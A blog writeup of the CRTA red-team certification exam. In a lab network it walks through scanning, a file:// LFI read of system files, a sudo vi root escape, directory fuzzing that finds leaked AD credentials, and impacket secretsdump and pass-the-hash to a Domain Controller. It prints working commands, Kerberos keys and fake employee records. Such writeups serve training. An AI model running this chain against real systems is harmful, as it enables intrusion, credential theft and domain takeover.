Certified Red Team Analyst (CRTA) Exam Writeup | How I Passed CRTA

Created on July 26, 2026

2026   ·   CRTA   Certification   Red Teaming   Active Directory   Exam Review   Writeup   ·   Certifications   Red Teaming

Note: This article was originally published on Medium.

CRTA Exam Cover Photo

Introduction

The CRTA (Certified Red Team Analyst) exam by CyberWarFare Labs is a fully hands-on, black-box red team assessment. There are no multiple-choice questions. You either root the machine and collect the flags — or you don’t pass.

The exam consists of a live VPN-connected environment. Your goal: compromise a multi-layer infrastructure, escalate privileges, move laterally, and ultimately retrieve a secret.xml file from the Domain Controller’s Administrator Desktop.

This writeup documents the full attack chain I used to pass the exam — step by step. If you’re preparing for CRTA, this should give you a clear picture of what to expect and how to approach it.

Disclaimer: This writeup is published after the exam was passed. Nothing here compromises exam integrity — CWL explicitly allows sharing methodology. No credentials or flags are disclosed in full.

Executive Summary & Scope

Attack Path Overview

  1. External Enumeration & Reconnaissance: Scanned 172.26.10.0/24, identifying 172.26.10.11 as the active target in scope (172.26.10.1 excluded). Port scanning identified SSH (22), Node.js Express (8091), and Werkzeug (23100).
  2. Web Reconnaissance & LFI Exploitation: Inspected client-side JavaScript and CSS on port 8091 to identify endpoints and database hints. Accessed the /pug route to uncover port 23100, then exploited an LFI vulnerability via the hostfs path to read /etc/passwd and recover plaintext credentials for app-admin.
  3. SSH Access & Local Privilege Escalation: Authenticated to 172.26.10.11 over SSH as app-admin. Enumerated sudo privileges (sudo -l), which allowed running /usr/bin/vi as root. Escalated privileges to root via :shell in vi and inspected application source code for hardcoded secrets.
  4. Internal Network Pivoting & Fuzzing: Identified internal IP addresses from .bash_history and scanned 10.10.10.0/24, discovering 10.10.10.20 (Apache) and 10.10.10.100 (Domain Controller). Fuzzed 10.10.10.20 using fuzz-Bo0oM-friendly.txt to discover /elfinder/ and retrieved AD sync credentials ([email protected]:[REDACTED_PASSWORD]) from AD_Resources.txt.
  5. Domain Compromise & Data Retrieval: Used sync_user credentials with impacket-secretsdump against 10.10.10.100 to dump domain NT hashes (including krbtgt). Obtained a shell on the Domain Controller using impacket-wmiexec as Domain Administrator and exfiltrated secret.xml.txt from C:\Users\Administrator\Desktop.

Scope & Target Rules

  • External Target Range: 172.26.10.0/24
  • Explicit Exclusions: 172.26.10.1 (Out of scope)
  • Engagement Goal: Retrieve sensitive file secret.xml from internal networks.

External Network Enumeration

Host Discovery

┌──(attacker㉿kali)-[~]
└─$ nmap -sn 172.26.10.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 00:10 +06
Nmap scan report for 172.26.10.1
Host is up (0.42s latency).
Nmap scan report for 172.26.10.11
Host is up (0.28s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 28.37 seconds

The initial ping sweep identified two active hosts on the external network. Since 172.26.10.1 was explicitly defined as out of scope in the engagement rules, I focused all enumeration on 172.26.10.11.

  • Target: 172.26.10.11

Port Scanning & Service Enumeration

Find open ports

┌──(attacker㉿kali)-[~]
└─$ nmap -p- --min-rate 1000 -n 172.26.10.11
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 00:22 +06
Nmap scan report for 172.26.10.11
Host is up (0.48s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE    SERVICE
22/tcp    open     ssh
3389/tcp  filtered ms-wbt-server
8091/tcp  open     jamlink
23100/tcp open     unknown
Nmap done: 1 IP address (1 host up) scanned in 70.50 seconds

Service Enumeration

┌──(attacker㉿kali)-[~]
└─$ nmap -sV -sC -p 22,3389,8091,23100 172.26.10.11
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 00:26 +06
Nmap scan report for 172.26.10.11
Host is up (0.49s latency).
PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 32:fb:39:22:8d:0a:cf:1c:a9:01:0b:dd:d6:c9:84:04 (ECDSA)
|_  256 8e:b4:48:f5:1c:f8:39:54:d9:a6:e6:58:87:a7:0d:a4 (ED25519)
3389/tcp  filtered ms-wbt-server
8091/tcp  open     http     Node.js Express framework
|_http-title: HotHost
23100/tcp open     http     Werkzeug httpd 3.1.3 (Python 3.9.22)
|_http-server-header: Werkzeug/3.1.3 Python/3.9.22
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.53 seconds

Web Application Exploitation (172.26.10.11)

Client-Side Source Analysis

Visiting website: http://172.26.10.11:8091/login

The root URL presented a login page. Viewed the source code and opened the JavaScript file from:

<script type="module" crossorigin src="/assets/index.57c7759c.js"></script>

The file contained client-side routes and key API endpoints (/api/v2/).

Opened the CSS file from:

<link rel="stylesheet" href="/assets/index.4ab6d9c3.css">

The CSS file contained placeholder credentials and database connection details:

#username::placeholder{
  content:"admin"
}
#password::-moz-placeholder{
  content:"[REDACTED_PASSWORD]"
}

I attempted to log in with admin and [REDACTED_PASSWORD], but authentication failed. However, further inspection of the CSS file revealed hardcoded database connection details:

.db-connection {
  --db-url: "jdbc:mysql://127.0.0.1:3306";
  --db-user: "db_admin";
  --db-pass: "[REDACTED_PASSWORD]";
}

Base64 encode of password: [REDACTED_BASE64]

The JS file contained a line: children: "Available plugins (to update plugins visit /pug route)".

Visiting: http://172.26.10.11:8091/pug

{"message":"Visit port 23100","secretToken":"[REDACTED]","timestamp":"2026-07-25T18:45:54.181Z"}

The response provided a very useful hint: Visit port 23100

LFI via Internal Service (Port 23100)

From the nmap output, port 23100 hosts an HTTP service: Werkzeug httpd 3.1.3 (Python 3.9.22).

Visiting: http://172.26.10.11:23100/

The application returned an access denied error. However, the error message explicitly detailed how to use the /fetch route and the hostfs path to access the underlying host file system.

Using the hostfs path mentioned in the error message, I read the host’s /etc/passwd file:

Visiting: http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd

Response:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:103:104::/nonexistent:/usr/sbin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:105:107::/nonexistent:/usr/sbin/nologin
tss:x:106:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:107:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
app-admin:x:1000:1000:[REDACTED_PASSWORD]:/home/app-admin:/bin/bash
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin

The root and app-admin users have /bin/bash shells.

Visiting: http://172.26.10.11:23100/fetch?url=file:///hostfs/home/app-admin/.bash_history

ls
cd /var/log/
ls
nano auth.log
ping 172.26.10.201
ping 10.10.10.20
ls nano auth.log
sudo nano auth.log
sudo vi auth.log
cd nano .bash_history
exit su -

Reviewing the .bash_history file revealed two internal IP addresses (172.26.10.201 and 10.10.10.20) that the administrator had interacted with. 10.10.10.20 stood out as a likely pivot target.

Initial Access & Privilege Escalation (172.26.10.11)

SSH Access & Sudo Abuse

┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jul 25 08:43:07 PM UTC 2026

  System load:  0.32              Processes:             194
  Usage of /:   76.3% of 9.75GB   Users logged in:       1
  Memory usage: 15%               IPv4 address for ens32: 172.26.10.11
  Swap usage:   0%

Expanded Security Maintenance for Applications is not enabled.

68 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Jul 25 20:39:26 2026 from 192.168.90.9
app-admin@app-server:~$ ls
linpeas.sh  linpeas.txt
app-admin@app-server:~$ sudo -l
[sudo] password for app-admin: 
Matching Defaults entries for app-admin on app-server:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User app-admin may run the following commands on app-server:
    (ALL) /usr/bin/vi
app-admin@app-server:~$ 
app-admin@app-server:~$ sudo /usr/bin/vi

I spawned a root shell from vi using the :shell command:

root@app-server:/home/app-admin# whoami
root
root@app-server:/home/app-admin# cd ~
root@app-server:~# ls
app2  hot
root@app-server:~# cd hot
root@app-server:~/hot# ls
hothost-agent  LICENSE  README.md  server
root@app-server:~/hot# cd server
root@app-server:~/hot/server# ls
build.sh  debug.sh  Dockerfile  frontend  nodemon.json  package.json  package-lock.json  src

Recalling that the client-side CSS used a placeholder password, I targeted the frontend CSS source files in the codebase to see if the real password was hardcoded nearby:

root@app-server:~/hot/server# cd frontend/
root@app-server:~/hot/server/frontend# ls
dist        index.html        package.json       postcss.config.cjs  src  vite.config.js
FetchApi.js node_modules      package-lock.json  public              tailwind.config.cjs
root@app-server:~/hot/server/frontend# cd src
root@app-server:~/hot/server/frontend/src# ls
App.jsx  assets  Components  dummy.css  index.css  main.jsx  tailwind.config.js
root@app-server:~/hot/server/frontend/src# cat dummy.css | grep -i "password"
#password::placeholder { content: "[REDACTED_PASSWORD]"; } /* Change to [REDACTED_PASSWORD] */
root@app-server:~/hot/server/frontend/src#

Internal Network Enumeration

Internal Subnet Scan

┌──(attacker㉿kali)-[~]
└─$ nmap -sn 10.10.10.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:28 +06
Nmap scan report for 10.10.10.1
Host is up (0.42s latency).
Nmap scan report for 10.10.10.20
Host is up (0.65s latency).
Nmap scan report for 10.10.10.100
Host is up (0.41s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 30.92 seconds

The ping sweep identified three active internal hosts:

  • 10.10.10.1
  • 10.10.10.20
  • 10.10.10.100

Gateway Enumeration (10.10.10.1)

┌──(attacker㉿kali)-[~]
└─$ nmap -p- --min-rate 1000 -n 10.10.10.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:37 +06
Nmap scan report for 10.10.10.1
Host is up (0.25s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
53/tcp open  domain
80/tcp open  http
Nmap done: 1 IP address (1 host up) scanned in 132.10 seconds

┌──(attacker㉿kali)-[~]
└─$ nmap -sV -sC -p 53,80 10.10.10.1
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:40 +06
Nmap scan report for 10.10.10.1
Host is up (0.46s latency).
PORT   STATE SERVICE VERSION
53/tcp open  domain  Unbound
80/tcp open  http    nginx
|_http-title: pfSense - Login

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.46 seconds

Web Server Enumeration (10.10.10.20)

┌──(attacker㉿kali)-[~]
└─$ nmap -p- --min-rate 1000 -n 10.10.10.20
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:33 +06
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 38.01% done; ETC: 01:34 (0:00:44 remaining)
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 57.67% done; ETC: 01:34 (0:00:30 remaining)
Nmap scan report for 10.10.10.20
Host is up (0.49s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE
80/tcp   open     http
3389/tcp filtered ms-wbt-server
4369/tcp open     epmd
Nmap done: 1 IP address (1 host up) scanned in 78.15 seconds

┌──(attacker㉿kali)-[~]
└─$ nmap -sV -sC -p 80,3389,4369 10.10.10.20
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:37 +06
Nmap scan report for 10.10.10.20
Host is up (0.44s latency).
PORT     STATE    SERVICE VERSION
80/tcp   open     http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3389/tcp filtered ms-wbt-server
4369/tcp open     epmd    Erlang Port Mapper Daemon
| epmd-info: 
|   epmd_port: 4369
|_  nodes: 

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.45 seconds

Visiting: http://10.10.10.20

The server at 10.10.10.20 displayed the default Apache2 page. Since I didn’t know which directories existed, I started a directory bruteforce using the standard quickhits.txt list. This resulted mostly in 403 Forbidden errors:

┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ ffuf -u http://10.10.10.20/FUZZ -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -t 50

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/ __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.20/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/quickhits.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 458ms]
.ht_wsr.txt             [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 459ms]
.htaccess               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 458ms]
.htaccess-dev           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 423ms]
.htaccess-local         [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 235ms]
.htaccess-marco         [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 235ms]
.htaccess.BAK           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.old           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.txt           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.bak1          [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.bak           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess.save          [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htaccess.sample        [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htaccess.orig          [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htaccess_extra         [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 461ms]
.htaccess_orig          [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 423ms]
.htaccess_sc            [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 423ms]
.htaccessBAK            [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccessOLD            [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccessOLD2           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]
.htaccess~              [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 236ms]
.htgroup                [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htpasswd               [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 270ms]
.htpasswd_test          [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 346ms]
.htpasswd-old           [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 346ms]
.htusers                [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 345ms]
.htpasswds              [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 345ms]
index.phps              [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 232ms]
info.php                [Status: 200, Size: 87011, Words: 4345, Lines: 1041, Duration: 237ms]
server-status/          [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 236ms]

Since the initial fuzzing failed, I systematically ran ffuf against different text files in the SecLists collection. The fuzz-Bo0oM-friendly.txt list successfully enumerated the /elfinder/ directory:

┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ ffuf -u http://10.10.10.20/FUZZ -w /usr/share/seclists/Fuzzing/fuzz-Bo0oM-friendly.txt -t 50

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/ __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.20/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/fuzz-Bo0oM-friendly.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

elfinder/               [Status: 200, Size: 3716, Words: 220, Lines: 31, Duration: 254ms]
index.html              [Status: 200, Size: 10730, Words: 3512, Lines: 364, Duration: 244ms]
info.php                [Status: 200, Size: 87010, Words: 4345, Lines: 1041, Duration: 236ms]
server-status/          [Status: 403, Size: 276, Words: 20, Lines: 10, Duration: 234ms]

Visiting http://10.10.10.20/elfinder/ presented a directory listing:

Index of /elfinder
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[ ] Changelog 2025-05-19 10:28 54K
[TXT] LICENSE.md 2025-05-19 10:28 1.5K
[TXT] README.md 2025-05-19 10:28 9.9K
[ ] bower.json 2025-05-19 10:28 638
[ ] composer.json 2025-05-19 10:28 1.3K
[DIR] css/ 2025-05-19 10:28 -
[TXT] elfinder.html 2025-05-19 10:28 3.5K
[TXT] elfinder.legacy.html 2025-05-19 10:28 3.1K
[DIR] files/ 2025-05-19 11:18 -
[DIR] img/ 2025-05-19 10:28 -
[DIR] js/ 2025-05-19 10:28 -
[TXT] main.default.js 2025-05-19 10:28 6.2K
[ ] package.json 2025-05-19 10:28 427
[DIR] php/ 2025-05-19 11:11 -
[DIR] sounds/ 2025-05-19 10:28 -
Apache/2.4.58 (Ubuntu) Server at 10.10.10.20 Port 80

Visiting: http://10.10.10.20/elfinder/files/AD_Resources.txt

#Active Directory Sync Service Credentials:
Purpose: Password synchronization between on-prem AD and cloud services (Azure AD Connect).
Service Account: [email protected]
Password: [REDACTED_PASSWORD]

#Security Notes:
Syncs password hashes to Azure AD (if hybrid environment).
Critical: Restrict to least privilege (e.g., deny interactive login).

This file contained credentials for the AD Sync Service: [email protected]:[REDACTED_PASSWORD].

Domain Controller Exploitation (10.10.10.100)

Service Enumeration

┌──(attacker㉿kali)-[~]
└─$ nmap -p- --min-rate 1000 -n 10.10.10.100
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:41 +06
Nmap scan report for 10.10.10.100
Host is up (0.49s latency).
Not shown: 65508 closed tcp ports (reset)
PORT      STATE    SERVICE
53/tcp    open     domain
88/tcp    open     kerberos-sec
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
389/tcp   open     ldap
445/tcp   open     microsoft-ds
464/tcp   open     kpasswd5
593/tcp   open     http-rpc-epmap
636/tcp   open     ldapssl
3268/tcp  open     globalcatLDAP
3269/tcp  open     globalcatLDAPssl
3389/tcp  filtered ms-wbt-server
5357/tcp  open     wsdapi
5985/tcp  open     wsman
9389/tcp  open     adws
47001/tcp open     winrm
49664/tcp open     unknown
49665/tcp open     unknown
49666/tcp open     unknown
49667/tcp open     unknown
49668/tcp open     unknown
54050/tcp open     unknown
54051/tcp open     unknown
54054/tcp open     unknown
54061/tcp open     unknown
54074/tcp open     unknown
54411/tcp open     unknown
Nmap done: 1 IP address (1 host up) scanned in 69.68 seconds

┌──(attacker㉿kali)-[~]
└─$ nmap -sV -sC -p 88,139,389,445,593,636,3268,3269,5357,5985,9389,47001,49664,49665,49666,49667,49668,54050,54051,54054,54061,54074,54411 10.10.10.100
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-26 01:49 +06
Nmap scan report for 10.10.10.100
Host is up (0.64s latency).
PORT      STATE SERVICE       VERSION
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-25 19:49:25Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ent.corp0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ent.corp0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5357/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
54050/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
54051/tcp open  msrpc         Microsoft Windows RPC
54054/tcp open  msrpc         Microsoft Windows RPC
54061/tcp open  msrpc         Microsoft Windows RPC
54074/tcp open  msrpc         Microsoft Windows RPC
54411/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: ENT-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-07-25T19:50:27
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.57 seconds

This server is the Domain Controller.

Domain Credential Dumping & Remote Execution

┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ impacket-secretsdump ent.corp/sync_user:'[REDACTED_PASSWORD]'@10.10.10.100
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
ent.corp\sync_user:1103:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
ENT-DC$:1000:aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:992f0f89c2eec235f94d01103043a3626f1a54e5adc45280ebe58d0883dc294e
Administrator:aes128-cts-hmac-sha1-96:c3c88d0395d8c7e93039108279fa3cb9
Administrator:des-cbc-md5:ad9de62585018c5b
krbtgt:aes256-cts-hmac-sha1-96:1b161ecb048ed49498658525fea07d4278aeab4c8d60ee32e6a61392d14ec924
krbtgt:aes128-cts-hmac-sha1-96:61a3167db44973b38e6ea0ddb9f3f07d
krbtgt:des-cbc-md5:37ad9e49e3ea0b52
ent.corp\sync_user:aes256-cts-hmac-sha1-96:73ae7f5121e08ef5224bf82c941db87bf14ce5bf0bc3c0805b95485885db511f
ent.corp\sync_user:aes128-cts-hmac-sha1-96:72f6b128b62adb5cf0347e8655f41afc
ent.corp\sync_user:des-cbc-md5:377615f8b9106445
ENT-DC$:aes256-cts-hmac-sha1-96:a5f5c3dff0d91b9d26556bacf366609888ae51f6f8425aa48c09e6dfcc2b8f5e
ENT-DC$:aes128-cts-hmac-sha1-96:537a44faca5b7f561f7332911031056d
ENT-DC$:des-cbc-md5:2f02abb3e386dc58
[*] Cleaning up...

Executing impacket-wmiexec using the Administrator NTLM hash:

┌──(attacker㉿kali)-[~/CRTA_Exam]
└─$ impacket-wmiexec ent.corp/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:[REDACTED_NT_HASH]
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

Navigating directories to retrieve the secret flag:

C:\>dir
 Volume in drive C has no label.
 Volume Serial Number is D07F-717D

 Directory of C:\

05/08/2021  01:20 AM    <DIR>          PerfLogs
04/29/2025  03:05 PM    <DIR>          Program Files
05/08/2021  02:42 AM    <DIR>          Program Files (x86)
04/29/2025  03:05 PM    <DIR>          Users
07/25/2026  02:33 PM    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)  13,866,135,552 bytes free

C:\>cd Users
C:\Users>dir
 Volume in drive C has no label.
 Volume Serial Number is D07F-717D

 Directory of C:\Users

04/29/2025  03:05 PM    <DIR>          .
05/26/2025  03:17 AM    <DIR>          Administrator
04/29/2025  03:05 PM    <DIR>          Public
               0 File(s)              0 bytes
               3 Dir(s)  13,866,135,552 bytes free

C:\Users>cd Administrator
C:\Users\Administrator>dir
 Volume in drive C has no label.
 Volume Serial Number is D07F-717D

 Directory of C:\Users\Administrator

05/26/2025  03:17 AM    <DIR>          .
04/29/2025  03:05 PM    <DIR>          ..
04/29/2025  03:05 PM    <DIR>          3D Objects
04/29/2025  03:05 PM    <DIR>          Contacts
05/19/2025  04:57 AM    <DIR>          Desktop
04/29/2025  03:05 PM    <DIR>          Documents
05/22/2025  05:19 AM    <DIR>          Downloads
04/29/2025  03:05 PM    <DIR>          Favorites
04/29/2025  03:05 PM    <DIR>          Links
04/29/2025  03:05 PM    <DIR>          Music
04/29/2025  03:05 PM    <DIR>          Pictures
04/29/2025  03:05 PM    <DIR>          Saved Games
04/29/2025  03:05 PM    <DIR>          Searches
04/29/2025  03:05 PM    <DIR>          Videos
               0 File(s)              0 bytes
              14 Dir(s)  13,866,131,456 bytes free

C:\Users\Administrator>cd Desktop
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is D07F-717D

 Directory of C:\Users\Administrator\Desktop

05/19/2025  04:57 AM    <DIR>          .
05/26/2025  03:17 AM    <DIR>          ..
05/19/2025  05:02 AM             1,553 secret.xml.txt
               1 File(s)          1,553 bytes
               2 Dir(s)  13,866,135,552 bytes free

C:\Users\Administrator\Desktop>type secret.xml.txt
<?xml version="1.0" encoding="UTF-8"?>
<Employees>
  <!-- PROTECTED: Contains sensitive employee information - RESTRICT ACCESS -->
  <Employee security-clearance="confidential">
    <ID>E-4281</ID>
    <FullName>Christopher A. Whitaker</FullName>
    <GovernmentID type="SSN">550-12-8421</GovernmentID>
    <Position>Lead Security Architect</Position>
    <Compensation>
      <BaseSalary currency="USD">142000</BaseSalary>
      <Bonus eligibility="true">15000</Bonus>
    </Compensation>
    <AccessCredentials>
      <SSHKeys>
        <RSA-4096>
          <Fingerprint>SHA256:zT4Gp2K9...V3jH91</Fingerprint>
          <PublicKey>ssh-rsa AAAAB3Nza...9Px8= secure-shell@corp</PublicKey>
          <LastRotated>2024-03-15T08:42:11Z</LastRotated>
        </RSA-4096>
      </SSHKeys>
